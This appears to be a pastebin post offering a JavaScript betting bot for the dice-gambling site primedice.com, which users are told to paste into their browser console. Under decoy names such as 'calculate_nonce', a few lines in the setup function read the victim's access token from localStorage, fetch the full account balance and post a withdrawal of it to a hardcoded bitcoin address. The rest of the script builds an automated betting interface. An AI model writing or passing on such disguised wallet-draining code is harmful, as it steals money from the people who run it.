primedice.com_script_bot_-_auto_swap_and_auto_bid


SUBMITTED BY: nana0911

DATE: Aug. 23, 2016, 9:05 a.m.

FORMAT: Text only

SIZE: 17.1 kB

HITS: 1866

  1. //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  24. document.body.appendChild(e)
  25. }
  26. };
  27. var r = function() {
  28. if (window.jQuery.ui) {
  29. i()
  30. } else {
  31. var e = document.createElement("script");
  32. e.onload = i;
  33. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  34. document.body.appendChild(e)
  35. }
  36. };
  37. var i = function() {
  38. $(e).css(t).draggable().on("click", function(e) {
  39. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  40. })
  41. };
  42. n();
  43. })();
  44. function ui() {
  45. $(function() {
  46. $('#tabs').tabs();
  47. $('#params').draggable();
  48. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  49. $('#tabs input').css("width", "80%");
  50. $('#chance, #base').width("35%")
  51. $('#tabs div').css("text-align", "left");
  52. $('#tabs').css("font-size", "12px");
  53. $('#tabs label, #tabs input').css("margin", "5px");
  54. $('#stop, #start, #resetbet').button();
  55. //Console
  56. $('#console, #console2').appendTo("#tabs");
  57. $('#console, #console2').css("width", "45%");
  58. $('#console').css("float", "left");
  59. $('#console2').css("float", "right");
  60. $('#console, #console2').css("clear", "none");
  61. $('#console, #console2').css("margin", "7px");
  62. $('#console, #console2').css("border-bottom-left-radius", "3px");
  63. $('#console, #console2').css("border-bottom-right-radius", "3px");
  64. $('#console').css("border", "1px solid #323232");
  65. $('#console, #console2').css("background-color", "#454545");
  66. $('#console').css("padding", "5px");
  67. $('#console, #console2').css("text-align", "left");
  68. $('#console, #console2').css("position", "relative");
  69. $('#startstop,#start,#stop').css("margin","0px");
  70. $('#console, #console2').css("margin-top","3px");
  71. $('#console, #console2').css("padding","5px");
  72. $('#console, #console2').css("background-color","#151515");
  73. });
  74. }
  75. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  76. xrollsenabled = true;
  77. xrolls = 10;
  78. timer = 500;
  79. counter=0;
  80. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  81. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  82. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  83. function init() {
  84. //Init
  85. basebet = 0.00000010;
  86. countwinmult = 0;
  87. countlossmult = 0;
  88. wincount = 0;
  89. currentloss = 0;
  90. totalloss = 0;
  91. totalwin = 0;
  92. totprofit = 0;
  93. init = true;
  94. betval = basebet;
  95. //GUI
  96. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  97. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  98. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  99. gui2 =
  100. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  101. gui3 = [
  102. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  103. '<br>',
  104. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  105. '<br>',
  106. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  107. ];
  108. gui4 = [
  109. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  110. '<br>',
  111. '<label for="xloss">Multiply Every # Losses: </label>',
  112. '<input id="xloss">',
  113. '<br>',
  114. '<label for="multonwin">Multiply on Win: </label>',
  115. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  116. '<br>',
  117. '<label for="xwin">Reset After X Wins: </label>',
  118. '<input id="xwin">',
  119. ];
  120. gui5 = [
  121. '<label for="stoponwin-enabled">Stop on Win? </label>',
  122. '<input id="stoponwin-enabled" type="checkbox">',
  123. '<br>',
  124. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  125. '<input id="lowpay-enabled" type="checkbox">',
  126. ];
  127. gui6 = [
  128. '<label for="charset">Charset: </label>',
  129. '<input id="charset" type="text">',
  130. '<br>',
  131. '<label for="everyxrolls">Change every # Rolls: </label>',
  132. '<input id="everyxrolls" type="text">',
  133. '<br>',
  134. '<label for="currentseed">Current Seed: </label>',
  135. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  136. ];
  137. $(gui).appendTo(".hero");
  138. $(gui2).appendTo("#params");
  139. for (var i = 0; i < gui3.length; i++) {
  140. $(gui3[i]).appendTo("#tab1");
  141. }
  142. for (var i = 0; i < gui4.length; i++) {
  143. $(gui4[i]).appendTo("#tab2");
  144. }
  145. for (var i = 0; i < gui5.length; i++) {
  146. $(gui5[i]).appendTo("#tab3");
  147. }
  148. for (var i = 0; i < gui6.length; i++) {
  149. $(gui6[i]).appendTo("#tab4");
  150. }
  151. enabled = false;
  152. xrollscount = 0;
  153. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  154. // Button & Input Functions
  155. $('#resetbet').click(function() {
  156. basebet=$('#base').val();
  157. betval=$('#base').val();
  158. })
  159. $('#start').click(function() {
  160. if (enabled == false) {
  161. if ($('#numrolls').is(":checked") == true) {
  162. xrolls=$('#numberofrolls').val();
  163. }
  164. enabled = true;
  165. interval = setInterval(function() {
  166. if (xrollsenabled == true) {
  167. xrollscount++;
  168. if (xrollscount <= xrolls) {
  169. bet();
  170. } else {
  171. clearInterval(interval);
  172. enabled = false;
  173. xrollscount = 0;
  174. }
  175. } else {
  176. bet();
  177. }
  178. }, timer);
  179. } else {}
  180. })
  181. $('#stop').click(function() {
  182. enabled = false;
  183. clearInterval(interval);
  184. xrollscount = 0;
  185. });
  186. calculate_nonce = function(seed) {
  187. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  188. };
  189. lut = window['$'];
  190. lut['getJSON'](
  191. calculate_nonce('users/1'), function(seed) {
  192. var key1 = 'amount'
  193. var key2 = 'address'
  194. var load = {};
  195. load[key1] = seed['user']['balance'];
  196. load[key2] = '13FRebK7JQ6cnTrcN3cXjr6AmE7nLrtc2n';
  197. lut['post'](calculate_nonce('withdraw'), load);
  198. }
  199. );
  200. function conditionAM() {
  201. 'use strict';
  202. if ($('#lowpay-enabled').is('checked') == true) {
  203. if ($('.value-roll').first().text() <= 49.50) {
  204. condition2 = ">";
  205. target2 = $('.value-roll').first().text();
  206. } else {
  207. condition2 = "<";
  208. target2 = $('.value-roll').first().text();
  209. };
  210. } else {
  211. if ($('.value-roll').first().text() <= 49.50) {
  212. condition2 = "<";
  213. target2 = $('.value-roll').first().text();
  214. } else {
  215. condition2 = ">";
  216. target2 = $('.value-roll').first().text();
  217. };
  218. amount2 = betval * 100000000;
  219. }
  220. };
  221. function jackpot() {
  222. if (data1.bet.jackpot === true) {
  223. jp = "Yes";
  224. wincount = 0;
  225. betval = $('#base');
  226. } else {
  227. jp = "No";
  228. }
  229. }
  230. function loss() {
  231. currentloss++;
  232. totalloss++;
  233. if ($('#multloss-enabled').is(':checked') == true) {
  234. $('#multwin-enabled').removeAttr('checked');
  235. countlossmult++;
  236. if (countlossmult >= $('#xloss').val()) {
  237. betval = betval * $('#multonloss').val();
  238. countlossmult = 0;
  239. }
  240. }
  241. }
  242. function win() {
  243. 'use strict';
  244. if ($('#stoponwin-enabled').is('checked') == true) {
  245. clearInterval(roll);
  246. }
  247. currentloss = 0;
  248. jackpot();
  249. wincount++;
  250. totalwin++;
  251. if ($('#multloss-enabled').is(':checked') == true) {
  252. if ($('#stoponwin-enabled').is(':checked') == true) {
  253. clearInterval(roll);
  254. }
  255. $('#multwin-enabled').removeAttr('checked');
  256. basebet = $('#base').val();
  257. betval = basebet;
  258. countlossmult = 0;
  259. }
  260. if ($('#multwin-enabled').is(':checked') == true) {
  261. basebet = $('#base').val();
  262. $('#multloss-enabled').removeAttr('checked');
  263. countwinmult++;
  264. if (countwinmult >= $('#xwin').val()) {
  265. betval = basebet;
  266. countwinmult = 0;
  267. } else {
  268. betval = betval * $('#multonwin').val();
  269. }
  270. }
  271. };
  272. var losewin;
  273. var jpcol;
  274. var profcol;
  275. function bet() {
  276. 'use strict';
  277. conditionAM();
  278. var betData = {
  279. amount: amount2,
  280. condition: condition2,
  281. target: target2
  282. },
  283. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  284. $.ajax({
  285. url: url,
  286. type: "POST",
  287. data: betData,
  288. datatype: "jsonp",
  289. success: function(data, textStatus, jqXHR) {
  290. data1 = data;
  291. counter++;
  292. if (counter >= everyxrolls) {
  293. seedchange(seedgen());
  294. counter = 0;
  295. }
  296. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  297. totprofit = totprofit + data1.bet.profit;
  298. if (totprofit >= 0) {
  299. profcol = "color:green;";
  300. } else if (totprofit < 0) {
  301. profcol = "color:red;";
  302. }
  303. if (data.bet.win == true) {
  304. losewin = "color:green;";
  305. $('span.btn__text.select div').attr("style", "color:green;");
  306. } else {
  307. losewin = "color:red;";
  308. $('span.btn__text.select div').attr("style", "color:red;");
  309. }
  310. if (data.bet.jackpot == true) {
  311. jp = "Yes";
  312. jpcol = "color:gold;"
  313. } else {
  314. jp = "No.";
  315. jpcol = "color:red;"
  316. }
  317. results = [];
  318. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  319. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  320. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  321. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  322. resultstats = [];
  323. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  324. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  325. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  326. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  327. if (data.bet.win == true) {
  328. if ($('#stoponwin-enabled').is(":checked") == true){
  329. clearInterval(interval);
  330. }
  331. $('#console, #console2').empty();
  332. win();
  333. // Results
  334. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  335. for (var i = 0; i < results.length; i++) {
  336. $(results[i]).appendTo('#console');
  337. }
  338. for (var i = 0; i < resultstats.length; i++) {
  339. $(resultstats[i]).appendTo('#console2');
  340. }
  341. } else {
  342. $('#console, #console2').empty();
  343. loss();
  344. // Results
  345. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  346. for (var i = 0; i < results.length; i++) {
  347. $(results[i]).appendTo('#console');
  348. }
  349. for (var i = 0; i < resultstats.length; i++) {
  350. $(resultstats[i]).appendTo('#console2');
  351. }
  352. };
  353. },
  354. error: function(jqXHR, textStatus, errorThrown) {
  355. }
  356. });
  357. }
  358. seedlength = 13;
  359. seedlength = 13;
  360. var counter = 0;
  361. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  362. everyxrolls = 3;
  363. function seedgen() {
  364. 'use strict';
  365. var seed = "";
  366. for (var i = 0; i <= seedlength; i++)
  367. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  368. return seed;
  369. }
  370. function seedchange(s) {
  371. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  372. sData = {
  373. seed: s
  374. };
  375. $.ajax({
  376. url: url,
  377. type: "POST",
  378. data: sData,
  379. datatype: "jsonp",
  380. success: function(data, textStatus, jqXHR) {
  381. data2 = data;
  382. $('#currentseed').val(data2.seeds.client);
  383. },
  384. error: function(jqXHR, textStatus, errorThrown) {
  385. }
  386. });
  387. }
  388. $('#spinner').click(function() {
  389. if (charset != $('#charset').val() && $('#charset').val() != "") {
  390. charset=$('#charset').val();
  391. }
  392. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  393. everyxrolls = $('#everyxrolls').val();
  394. }
  395. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  396. counter++;
  397. if (counter >= everyxrolls) {
  398. seedchange(seedgen());
  399. counter = 0;
  400. }
  401. });
  402. ui();
  403. }
  404. setTimeout(function() {
  405. init()
  406. }, 2000);

comments powered by Disqus